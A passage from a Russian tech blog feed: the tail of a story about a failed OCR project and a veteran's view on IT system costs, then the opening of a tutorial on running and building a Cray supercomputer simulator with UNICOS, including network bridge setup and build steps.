  &lt;p id=&quot;4JW2&quot;&gt;— Про биллинг на основе вычислительных ресурсов, никто из этих замечательных парней полагаю не вспоминал? &lt;/p&gt;
  &lt;p id=&quot;LsBp&quot;&gt;Даже десяток запущенных процессов с OCR заметно нагружали процессор, а был ведь еще и неслабый сетевой трафик. И хранилище документов.&lt;/p&gt;
  &lt;blockquote id=&quot;qpAv&quot;&gt;Будучи перенесенным в облако и без льготного периода, все это должно было обходиться в круглую сумму.&lt;/blockquote&gt;
  &lt;p id=&quot;4IkE&quot;&gt;Эрик лишь усмехнулся.&lt;/p&gt;
  &lt;p id=&quot;TAz0&quot;&gt;— Недавно в нашем университете отказались от их услуг, слишком дорого.&lt;/p&gt;
  &lt;p id=&quot;oLTu&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;fUez&quot;&gt;Хотя сам Эрик ушел из компании через год после описываемых событий и не мог знать чем все закончилось, я все же выяснил судьбу проекта.&lt;/p&gt;
  &lt;p id=&quot;SNh9&quot;&gt;«Особые умения», ага.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;8Mzq&quot;&gt;Компанию Томаса, вместе со всеми наработками, продали новому владельцу&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;7z56&quot;&gt;Новый владелец оказался более адекватным, чем семья Ченгов. &lt;/p&gt;
  &lt;blockquote id=&quot;Jowr&quot;&gt;Поэтому они быстро перешли на платные выгрузки с бирж, похоронив все что касалось OCR и обработки документов — большую часть нашей работы.&lt;/blockquote&gt;
  &lt;p id=&quot;SVRP&quot;&gt;Но сам проект существует до сих пор, хотя и под другим названием.&lt;/p&gt;
  &lt;figure id=&quot;804q&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/96/19/96190d8d-b884-49b0-8660-116372c64445.jpeg&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;wUwE&quot;&gt;Конец инженера&lt;/h2&gt;
  &lt;p id=&quot;6dhl&quot;&gt;— ..наш уникальный сервис на базе искусственного интеллекта обеспечивает наилучшее распознавание любых документов. &lt;/p&gt;
  &lt;p id=&quot;VSDX&quot;&gt;— Настоящее чудо 21 века!&lt;/p&gt;
  &lt;p id=&quot;Eprt&quot;&gt;— Давайте покажу ВАМ как это работает..&lt;/p&gt;
  &lt;p id=&quot;WCAV&quot;&gt;-&lt;s&gt; Слышь пес&lt;/s&gt; Можете продемонстрировать работу вот на этом PDF-документе? Будет очень интересно увидеть реальный прогресс.&lt;/p&gt;
  &lt;p id=&quot;OD5d&quot;&gt;В качестве артефактов с того проекта, осталось несколько особо проблемных PDF, которыми я теперь вгоняю в краску любителей «читать PDF с помощью ИИ».&lt;/p&gt;
  &lt;p id=&quot;UVaN&quot;&gt;Десять лет спустя, «в век ИИ» &lt;s&gt;и боевых роботов&lt;/s&gt; почему-то никто так и не показал того самого &lt;strong&gt;стопроцентного распознавания&lt;/strong&gt;.&lt;/p&gt;
  &lt;p id=&quot;t7cO&quot;&gt;Как же так?&lt;/p&gt;
  &lt;p id=&quot;ZZkm&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;WT0S&quot;&gt;Эпилог&lt;/h2&gt;
  &lt;p id=&quot;LmLF&quot;&gt;— Джеймс, вы столько всего повидали, фактически лично участвовали в рождении всей ИТ-отрасли. Расскажите «неофиту», сколько все-таки должна стоить нормальная ИТ-система?&lt;/p&gt;
  &lt;p id=&quot;490e&quot;&gt;В далеком 2014м у меня случилась занимательная переписка с поистине уникальным человеком, принимавшем участие аж в создании &lt;a href=&quot;https://en.wikipedia.org/wiki/ARPANET&quot; target=&quot;_blank&quot;&gt;ARPANET&lt;/a&gt; — предке современного интернета.&lt;/p&gt;
  &lt;blockquote id=&quot;pWax&quot;&gt;Дедушке уже тогда было далеко за 80, но бодрость духа и ясность мысли он не утратил. &lt;/blockquote&gt;
  &lt;p id=&quot;M2P5&quot;&gt;Видимо поэтому имел должность «Vice President» в одной очень известной компании. &lt;/p&gt;
  &lt;p id=&quot;7nla&quot;&gt;Мой вопрос его изрядно повеселил.&lt;/p&gt;
  &lt;p id=&quot;GPMp&quot;&gt;— Ну скажем.. миллион долларов. &lt;/p&gt;
  &lt;p id=&quot;k0tf&quot;&gt;— Разработка по всем правилам, с проработкой архитектуры, с документированием, с нормальной командой стоила в 70х около миллиона долларов. &lt;/p&gt;
  &lt;p id=&quot;DDpH&quot;&gt;— Столько же это стоило и в 80х и 90х, столько стоит и сейчас. &lt;/p&gt;
  &lt;p id=&quot;TaH2&quot;&gt;— Несмотря на новые технологии, прогресс и развитие, ничего по сути не изменилось.&lt;/p&gt;
  &lt;p id=&quot;6c2W&quot;&gt;Это написал человек, всю карьеру не вылезавший из сложнейших проектов по разработке ИТ-систем.&lt;/p&gt;
  &lt;blockquote id=&quot;tewi&quot;&gt;IBM, DEC, HP, Microsoft — все эти мировые компании развивались или даже появились при его жизни.&lt;/blockquote&gt;
  &lt;p id=&quot;cGWd&quot;&gt;Мы не были связаны какими-либо обязательствами, поэтому у почтенного мистера Джеймса не было причин &lt;s&gt;врать&lt;/s&gt; приукрашивать реалии.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;PVvV&quot;&gt;Миллион долларов за разработку нормальной ИТ-системы.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;tw7c&quot;&gt;По мнению настоящего ветерана ИТ-индустрии с уникальным &lt;s&gt;боевым&lt;/s&gt; опытом, который такие системы создавал дольше чем живет на свете большинство из читателей. &lt;/p&gt;
  &lt;p id=&quot;yxFo&quot;&gt;И у меня нет причин с этим не соглашаться.&lt;/p&gt;
  &lt;p id=&quot;q9As&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;QrMA&quot;&gt; &lt;/p&gt;
  &lt;figure id=&quot;BkD8&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/44/63/4463468c-781d-4d66-94f8-069e989180c8.jpeg&quot; width=&quot;604&quot; /&gt;
    &lt;figcaption&gt;2003й год, студенческие годы&lt;/figcaption&gt;
  &lt;/figure&gt;

</content></entry><entry><id>alex0x08:cray-resurrection-part-1</id><link rel="alternate" type="text/html" href="https://blog.0x08.ru/cray-resurrection-part-1?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=alex0x08"></link><title>Cray: оживление легенды</title><published>2026-02-20T12:37:48.315Z</published><updated>2026-03-10T16:20:32.538Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/dd/89/dd89fd40-acc5-40db-b39d-cdf88d5a0346.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/56/9f/569f9199-e212-4c11-b6d7-9246ad02748b.jpeg&quot;&gt;В ИТ-индустрии существуют вещи, само существование которых давно стало красивым мифом, о котором принято вспоминать лишь шепотом и закатывая глаза от благоговения.</summary><content type="html">
  &lt;p id=&quot;6Led&quot;&gt;В ИТ-индустрии существуют вещи, само существование которых давно стало красивым мифом, о котором принято вспоминать лишь шепотом и закатывая глаза от благоговения.&lt;/p&gt;
  &lt;figure id=&quot;FiPS&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/56/9f/569f9199-e212-4c11-b6d7-9246ad02748b.jpeg&quot; width=&quot;2048&quot; /&gt;
    &lt;figcaption&gt;Настоящий Cray.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;I8pi&quot;&gt;Cray&lt;/h2&gt;
  &lt;p id=&quot;5vjk&quot;&gt;На сегодняшний день, во всем мире осталось наверное не больше пары сотен инженеров, заставших «те времена» и имевших возможность прикоснуться к легенде. &lt;/p&gt;
  &lt;blockquote id=&quot;3ptL&quot;&gt;Лишь единицы из них еще могут что-то рассказать.&lt;/blockquote&gt;
  &lt;p id=&quot;RDF3&quot;&gt;То что описано в этой статье — редчайшее знание, которое совсем недавно было доступно горстке избранных, с ученой степенью, специальной подготовкой и допусками к &lt;strong&gt;такому&lt;/strong&gt; оборудованию. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;ML0c&quot;&gt;Огромное, древнее чудовище из далекого прошлого, из времен мифов и легенд &lt;strong&gt;ожило&lt;/strong&gt; и вернулось к жизни.. руками фанатов. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;KxhO&quot;&gt;Дав возможность и простым людям прикоснуться к легенде.&lt;/p&gt;
  &lt;figure id=&quot;eJmG&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0a/17/0a171f80-29f1-458a-8f94-af1c3948232b.jpeg&quot; width=&quot;648&quot; /&gt;
    &lt;figcaption&gt;Seymour Cray на фоне собственного суперкомпьютера.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;mx3l&quot;&gt;Легенда&lt;/h2&gt;
  &lt;p id=&quot;j1nA&quot;&gt;Персона &lt;a href=&quot;https://en.wikipedia.org/wiki/Seymour_Cray&quot; target=&quot;_blank&quot;&gt;Сеймура Крэя&lt;/a&gt; навсегда останется в анналах истории компьютеров, поскольку созданные его руками машины неоднократно признавались самыми быстрыми на планете.&lt;/p&gt;
  &lt;p id=&quot;1tWM&quot;&gt;Создаваемые полностью вручную (&lt;a href=&quot;https://en.wikipedia.org/wiki/Cray-3/SSS&quot; target=&quot;_blank&quot;&gt;некоторые модели&lt;/a&gt; — вплоть до чипов) и имевшие цену в десятки миллионов долларов, суперкомпьютеры Cray поставлялись в исследовательские лаборатории, крупные датацентры и конечно же в разведывательные управления разных стран.&lt;/p&gt;
  &lt;p id=&quot;chOO&quot;&gt;Про последнее стоит рассказать подробнее: &lt;/p&gt;
  &lt;blockquote id=&quot;bKM1&quot;&gt;суперкопьютеры Cray всю историю плотно ассоциировались именно с секретными проектами, поскольку действительно часто использовались для взлома секретных кодов, паролей и шифров.&lt;/blockquote&gt;
  &lt;p id=&quot;DXJJ&quot;&gt;Что характерно, сам Крэй начинал карьеру во флоте (US NAVY) и работал над взломом японских шифров времен второй мировой войны, по всей видимости сохранив с тех лет хорошие отношения с главным разведывательным управлением.&lt;/p&gt;
  &lt;p id=&quot;vIdm&quot;&gt;У вас же, дорогой читатель шанс увидеть суперкомпьютер Cray был &lt;a href=&quot;https://cray-history.net/2023/08/20/cray-systems-in-popular-culture/&quot; target=&quot;_blank&quot;&gt;лишь в кино&lt;/a&gt;, где они довольно часто мелькали в качестве реквизита:&lt;/p&gt;
  &lt;figure id=&quot;wqDY&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2e/cd/2ecdee50-933a-4e4a-a1c1-105354418813.jpeg&quot; width=&quot;1024&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;mIN9&quot;&gt;Ни о работе с такими машинами, ни тем более о разработке под них простым обывателям не стоило даже мечтать, даже если они родились и выросли в США.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;tA3p&quot;&gt;Допуски, специальное обучение с сертификацией и чаще всего наличие PhD — вот что обычно требовалось от «пользователей» подобного оборудования.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;OjUh&quot;&gt;В Россию суперкомпьютеры Cray предсказуемо завозились с очень большими препонами и исключительно простые модели. В частности &lt;a href=&quot;https://www.tadviser.ru/index.php/%D0%9F%D1%80%D0%BE%D0%B5%D0%BA%D1%82:%D0%A1%D1%83%D0%BF%D0%B5%D1%80%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80_%D0%A0%D0%BE%D1%81%D0%B3%D0%B8%D0%B4%D1%80%D0%BE%D0%BC%D0%B5%D1%82%D0%B0&quot; target=&quot;_blank&quot;&gt;в Росгидромете&lt;/a&gt; была практика использования таких машин, начавшаяся еще в 90е.&lt;/p&gt;
  &lt;blockquote id=&quot;6v6g&quot;&gt;Как бы то ни было, простому обывателю доступ к суперкомпьютерам Cray был заказан. &lt;/blockquote&gt;
  &lt;p id=&quot;vPaE&quot;&gt;Я сам, несмотря на двадцать лет практики в разработке ПО, о них лишь слышал краем уха, да видел пару картинок в сети, вроде такой:&lt;/p&gt;
  &lt;figure id=&quot;5p3U&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/70/b3/70b30a72-e562-4d10-af11-f563a3b0e618.jpeg&quot; width=&quot;2773&quot; /&gt;
    &lt;figcaption&gt;Производство суперкомпьютеров Cray-1&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;5fmS&quot;&gt;Тем удивительней оказывается история, рассказанная ниже.&lt;/p&gt;
  &lt;figure id=&quot;aeRN&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a1/74/a174f078-e796-4637-92b2-c8a02494871d.png&quot; width=&quot;800&quot; /&gt;
    &lt;figcaption&gt;Так выглядел случайно найденный бекап от суперкомпьютера.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;8zyP&quot;&gt;Симулятор&lt;/h2&gt;
  &lt;p id=&quot;eXmV&quot;&gt;&lt;a href=&quot;https://www.modularcircuits.com/blog/articles/the-cray-files/prelude/&quot; target=&quot;_blank&quot;&gt;История создания&lt;/a&gt; симулятора Cray за авторством Andras Tantos сама по себе достойна голливудской экранизации, поскольку являет собой победу инженерного духа над всеми преградами и трудностями:&lt;/p&gt;
  &lt;blockquote id=&quot;vTXn&quot;&gt;So it’s settled. I’m building a Cray-1.&lt;/blockquote&gt;
  &lt;p id=&quot;Ss5G&quot;&gt;Крайне рекомендую ознакомиться со &lt;a href=&quot;https://www.modularcircuits.com/blog/articles/the-cray-files/&quot; target=&quot;_blank&quot;&gt;всей этой историей&lt;/a&gt;, поскольку по накалу повествования описываемые события сильно напоминают историю изучения египетского письма или попытки расшифровать немецкие шифры времен второй мировой.&lt;/p&gt;
  &lt;p id=&quot;65xv&quot;&gt;Для примера, чтобы только прочитать данные со случайно обнаруженной ленты, автору пришлось реализовывать специальный драйвер для виртуального контроллера, полагаясь на такие картинки:   &lt;/p&gt;
  &lt;figure id=&quot;lQOA&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4f/05/4f05d2d0-0b43-4976-9279-cb91a51cbbcf.png&quot; width=&quot;813&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;JQDa&quot;&gt;Затем пришлось вручную восстанавливать последовательность загрузки:&lt;/p&gt;
  &lt;figure id=&quot;W56Y&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f6/28/f6285362-1fd1-4059-ac79-cc9b1a01d504.png&quot; width=&quot;612&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;g6NX&quot;&gt;Разбираться с багами загрузчика и эмуляцией сети — не забываем что речь идет про суперкомпьютер, все основные части которого были связаны между собой по сети.&lt;/p&gt;
  &lt;blockquote id=&quot;PDSj&quot;&gt;Andras провел чудовищную по объему и сложности работу, в успех которой к тому же никто особо не верил.&lt;/blockquote&gt;
  &lt;p id=&quot;f2u3&quot;&gt;Именно поэтому результат его трудов настолько впечатляет.&lt;/p&gt;
  &lt;figure id=&quot;SstO&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/35/58/35583a91-08a4-47c4-b764-f4870b9e39d8.jpeg&quot; width=&quot;662&quot; /&gt;
    &lt;figcaption&gt;Фронтальная панель суперкомпьютера Cray и индикаторы стадий запуска. Сверху кнопка включения.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;X20N&quot;&gt;Оживляем легенду&lt;/h2&gt;
  &lt;p id=&quot;yfyo&quot;&gt;Симулятор использует внешние приложения для работы: &lt;/p&gt;
  &lt;pre id=&quot;Xwph&quot;&gt;xterm, telnet, tmux&lt;/pre&gt;
  &lt;p id=&quot;YBMA&quot;&gt;Все это необходимо установить на хосте &lt;strong&gt;до первого запуска&lt;/strong&gt; симулятора.&lt;/p&gt;
  &lt;p id=&quot;nzla&quot;&gt;Дополнительно я использовал &lt;a href=&quot;https://github.com/Swordfish90/cool-retro-term&quot; target=&quot;_blank&quot;&gt;cool-retro-term&lt;/a&gt; для наведения красоты, чтобы снимки экрана выглядели еще эпичнее.&lt;/p&gt;
  &lt;p id=&quot;oyNZ&quot;&gt;Важное уточнение:&lt;/p&gt;
  &lt;blockquote id=&quot;B26Q&quot;&gt;несмотря на использование &lt;em&gt;сетевого&lt;/em&gt; &lt;code&gt;telnet&lt;/code&gt;, полноценное взаимодействие с запущенной UNICOS придется настраивать позже и отдельно — запускаемый при старте telnet-клиент на самом деле подключается к портам симулятора, через которые происходит трансляция консольных команд в виртуальную ОС и обратно.&lt;/blockquote&gt;
  &lt;p id=&quot;Cfe1&quot;&gt;Настоящее сетевое подключение к UNICOS требует специальной настройки на хосте, а поскольку инсталляция происходит по сети — сей шаг является обязательным.&lt;/p&gt;
  &lt;p id=&quot;ACpd&quot;&gt;Настройка выглядит следующим образом:&lt;/p&gt;
  &lt;pre id=&quot;6m1x&quot; data-lang=&quot;bash&quot;&gt;brctl addbr craybr
ip tuntap add mode tap tap1
ifconfig tap1 up
brctl addif craybr tap1
ifconfig craybr 172.16.0.1 netmask 255.255.255.0&lt;/pre&gt;
  &lt;p id=&quot;6ngh&quot;&gt;Несмотря на всю внешнюю монструозность, ничего сложного тут нет: &lt;/p&gt;
  &lt;blockquote id=&quot;hoVW&quot;&gt;создается новый мост с именем &lt;code&gt;craybr&lt;/code&gt;, затем создается виртуальный сетевой интерфейс &lt;code&gt;tap1&lt;/code&gt;, которому назначается IP-адрес 172.16.0.1.&lt;/blockquote&gt;
  &lt;p id=&quot;zFRB&quot;&gt;Последним шагом этот интерфейс добавляется в мост.&lt;/p&gt;
  &lt;p id=&quot;JG77&quot;&gt;Название интерфейса указывается в конфигурационном файле симулятора, который называется &lt;code&gt;unicos.cfg&lt;/code&gt;, выдержка:&lt;/p&gt;
  &lt;pre id=&quot;2260&quot; data-lang=&quot;javascript&quot;&gt;..
EthInterfaces {
			en0 {
				InterfaceNameLinux          tap1                ; Tap interface name to connect to on Linux
				InterfaceNameWindows        &amp;quot;Cray Ethernet&amp;quot;     ; WinTap interface name to connect to on Windows
				SimMacAddr                  0x020143524159
				Channel                     020
				IopNumber                   0
			}
		}
..		&lt;/pre&gt;
  &lt;p id=&quot;kErQ&quot;&gt;IP-адрес должен быть именно &lt;code&gt;172.16.0.1&lt;/code&gt;, поскольку внутренний интерфейс в UNICOS указан как &lt;code&gt;172.16.0.2&lt;/code&gt; и поменять его достаточно проблематично.&lt;/p&gt;
  &lt;p id=&quot;aED7&quot;&gt;Можно зайти и немного дальше, включив роутинг &lt;strong&gt;наружу&lt;/strong&gt;:&lt;/p&gt;
  &lt;pre id=&quot;7j1N&quot; data-lang=&quot;bash&quot;&gt;brctl setfd craybr 0
sysctl net.ipv4.ip_forward=1
iptables --table nat -A POSTROUTING --out-interface wlan0 -j MASQUERADE&lt;/pre&gt;
  &lt;p id=&quot;lCXE&quot;&gt;В случае Mageia исходящий интерфейс будет называться по-другому, что-то вроде &lt;code&gt;wlp4s0&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;A7Q1&quot;&gt;На стороне UNICOS в симуляторе необходимо выполнить команду:&lt;/p&gt;
  &lt;pre id=&quot;8AoV&quot; data-lang=&quot;bash&quot;&gt;route add default 172.16.0.1&lt;/pre&gt;
  &lt;p id=&quot;I5jJ&quot;&gt;Ну и радоваться — ведь вы только что выпустили в сеть суперкомпьютер Cray, пусть и виртуальный:&lt;/p&gt;
  &lt;figure id=&quot;T7N5&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/6e/5c/6e5cdba3-6288-4978-9b5f-39d26961fa7a.png&quot; width=&quot;933&quot; /&gt;
    &lt;figcaption&gt;Все что вы видите в консоли выше - оригинальный софт от Cray, для суперкомпьютеров Cray.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h3 id=&quot;F6Ln&quot;&gt;Готовая сборка&lt;/h3&gt;
  &lt;p id=&quot;oYlZ&quot;&gt;Существуют готовые сборки симулятора Cray для 64-битного Linux, c уже установленным UNICOS версий &lt;a href=&quot;https://archive.org/details/uni-cos-linux-x-86-64.7z&quot; target=&quot;_blank&quot;&gt;10.0.0.2&lt;/a&gt; и &lt;a href=&quot;https://archive.org/details/uni-cos-10.0.1.2-linux-x-86-64.7z&quot; target=&quot;_blank&quot;&gt;10.0.1.2&lt;/a&gt;, созданные известным в узких кругах камрадом &lt;a href=&quot;https://virtuallyfun.com/2022/12/04/unicos-cd-roms-found/&quot; target=&quot;_blank&quot;&gt;neozeed&lt;/a&gt;.&lt;/p&gt;
  &lt;blockquote id=&quot;vgnY&quot;&gt;Проблема в том, что эти сборки на момент написания статьи успели устареть (от 2022 года) и не факт что заработают в вашей системе.&lt;/blockquote&gt;
  &lt;p id=&quot;dDx9&quot;&gt;А планов по обновлению у их автора нет. &lt;/p&gt;
  &lt;p id=&quot;TZJ2&quot;&gt;Запускается симулятор из этих сборок с помощью стартового скрипта:&lt;/p&gt;
  &lt;pre id=&quot;69xi&quot; data-lang=&quot;bash&quot;&gt;./unicos&lt;/pre&gt;
  &lt;p id=&quot;fuil&quot;&gt;Не забудьте что перед запуском необходимо выполнить скрипт для настройки сети (см выше).&lt;/p&gt;
  &lt;p id=&quot;nbyU&quot;&gt;Так выглядит запуск UNICOS 10.0.1.2 в симуляции суперкомпьютера &lt;a href=&quot;https://en.wikipedia.org/wiki/Cray_J90&quot; target=&quot;_blank&quot;&gt;Cray J90&lt;/a&gt;:&lt;/p&gt;
  &lt;figure id=&quot;7U0u&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/34/15/341515ba-dfab-4b3d-9083-0a88299c7337.png&quot; width=&quot;1366&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;prYx&quot;&gt;Я заменил стандартный &lt;code&gt;xterm&lt;/code&gt;, используемый симулятором по-умолчанию на &lt;a href=&quot;https://github.com/Swordfish90/cool-retro-term&quot; target=&quot;_blank&quot;&gt;cool-retro-term&lt;/a&gt; для большей эпичности скриншотов.&lt;/p&gt;
  &lt;p id=&quot;5hsw&quot;&gt;Но конечно у настоящего Cray J-90 не было настолько древних мигающих терминалов и все выглядело куда современне:&lt;/p&gt;
  &lt;figure id=&quot;uSjS&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/ff/db/ffdbabf9-a52f-404e-9d40-c7d11a3bc84f.jpeg&quot; width=&quot;1200&quot; /&gt;
    &lt;figcaption&gt;&lt;a href=&quot;https://cray-history.net/cray-history-front/fom-home/cray-t90/&quot; target=&quot;_blank&quot;&gt;Чуть более новый Cray T-90&lt;/a&gt; с рабочим местом оператора (OWS)&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Vima&quot;&gt;Если приглядеться, можно заметить на мониторе рабочей станции, характерные квадратные окна 4dwm — оконного менеджера SGI Irix.    &lt;/p&gt;
  &lt;p id=&quot;D8hm&quot;&gt;Все потому, что в разные исторические периоды для суперкомпьютеров Cray использовались разные терминальные системы — SunOS, Irix и даже Mac:&lt;/p&gt;
  &lt;figure id=&quot;gHci&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c2/37/c2377141-903c-4cbf-bf2b-46a17dc02e73.jpeg&quot; width=&quot;1332&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;4XvI&quot;&gt;Чтобы добиться такого же эффекта, измените поле настройки &lt;em&gt;&lt;code&gt;NewTerminalCommand&lt;/code&gt;&lt;/em&gt; в файле &lt;code&gt;unicos.cfg:&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;6uHV&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/00/1f/001f8ade-ed03-446f-ba72-a1f919a43a71.png&quot; width=&quot;916&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;GMBM&quot;&gt;Так выглядит UNICOS в запущенном состоянии:&lt;/p&gt;
  &lt;figure id=&quot;Y9Db&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/24/62/24628d87-5b4d-48fa-865e-da4268cf97ae.png&quot; width=&quot;1366&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;GfMJ&quot;&gt;Согласно описанию автора, в системе есть следующие учетные записи:&lt;/p&gt;
  &lt;blockquote id=&quot;dbLr&quot;&gt;The root password is &amp;#x27;password&amp;#x27; and I&amp;#x27;ve created a neozeed user with the password of &amp;#x27;password&amp;#x27; so you can telnet in&lt;/blockquote&gt;
  &lt;p id=&quot;NE6q&quot;&gt;Входим от root:&lt;/p&gt;
  &lt;figure id=&quot;wnkV&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ed/6d/ed6d844a-fa06-4649-aa6d-c61db5ff5c3d.png&quot; width=&quot;704&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;r1QH&quot;&gt;Если вы все настроили правильно, также заработать сеть между симулятором и хостом, в обе стороны. &lt;/p&gt;
  &lt;p id=&quot;5Lqv&quot;&gt;Появится возможность войти уже по сети, непосредственно на машину Cray:&lt;/p&gt;
  &lt;figure id=&quot;RdDw&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b4/bb/b4bb2726-c355-4608-a3a4-1923708caf79.png&quot; width=&quot;695&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;s7Nc&quot;&gt;Для завершения работы симулятора, введите команду &lt;code&gt;exit&lt;/code&gt; в нижней консоли основного приложения и нажмите &lt;code&gt;Enter&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;JNYl&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/71/0c/710ce9f4-4d11-4f81-a52d-0922e68273ac.png&quot; width=&quot;1039&quot; /&gt;
    &lt;figcaption&gt;То что нижний блок - тоже терминал, причем допускающий ввод, я догадался не сразу.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;D0Xx&quot;&gt;В принципе даже этой версии хватит для последующих развратных действий с участием компилятора (см. ниже). &lt;/p&gt;
  &lt;p id=&quot;nv2e&quot;&gt;Если у вас успешно заработала готовая сборка и нет настойчивого желания «собрать из исходников» — следущий шаг можно пропускать и переходить сразу к стадии действительно изысканных приключений.&lt;/p&gt;
  &lt;figure id=&quot;XIG5&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d0/0c/d00c6f63-75e4-4686-88b1-6cc6631af4c4.webp&quot; width=&quot;2500&quot; /&gt;
    &lt;figcaption&gt;Первые суперкомпьютеры Cray были обшиты натуральной кожей &lt;s&gt;убитых инженеров&lt;/s&gt;.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;1gVA&quot;&gt;Сборка из исходников&lt;/h2&gt;
  &lt;p id=&quot;C1ho&quot;&gt;Несмотря на то что сие занятие — точно не для всех и любимый ChatGPT врядли подскажет что-то разумное по этому проекту, сделать все же стоит — для большего погружения.&lt;/p&gt;
  &lt;p id=&quot;9N00&quot;&gt;Симулятор написан на C++, с использованием библиотеки Boost, поэтому компиляция из исходников протекает.. весьма неспешно.&lt;/p&gt;
  &lt;p id=&quot;I9DD&quot;&gt;Забираем исходники:&lt;/p&gt;
  &lt;pre id=&quot;G4jX&quot; data-lang=&quot;bash&quot;&gt;git clone https://github.com/andrastantos/cray-sim.git&lt;/pre&gt;
  &lt;p id=&quot;2fPc&quot;&gt;Релизных веток нет и все собирается из &lt;code&gt;master&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;ptBC&quot;&gt;Перед тем как запускать сборку необходимо установить следующие зависимости, версия для Ubuntu:&lt;/p&gt;
  &lt;pre id=&quot;VpCz&quot; data-lang=&quot;bash&quot;&gt; g++ make libboost-all-dev libncurses-dev libgpm-dev&lt;/pre&gt;
  &lt;p id=&quot;DXbs&quot;&gt;для Mageia:&lt;/p&gt;
  &lt;pre id=&quot;kfai&quot; data-lang=&quot;bash&quot;&gt;gcc-c++ make lib64boost-devel lib64ncurses-devel lib64gpm-devel&lt;/pre&gt;
  &lt;p id=&quot;c6hc&quot;&gt;Исходный код находится в каталоге &lt;code&gt;simulator&lt;/code&gt;, поэтому сборка проекта также запускается именно оттуда, а не из корня репозитория.&lt;/p&gt;
  &lt;p id=&quot;c95p&quot;&gt;Поскольку в пакетах Mageia нет статической версии библиотеки Boost, а для сборки Boost из исходниокв не хватило &lt;s&gt;размеров статьи&lt;/s&gt; свободного места, я использовал динамическую линковку:&lt;/p&gt;
  &lt;pre id=&quot;q1se&quot; data-lang=&quot;bash&quot;&gt;make LINK_TYPE=dynamic build&lt;/pre&gt;
  &lt;p id=&quot;0P1y&quot;&gt;В Ubuntu сборка будет работать и вот так:&lt;/p&gt;
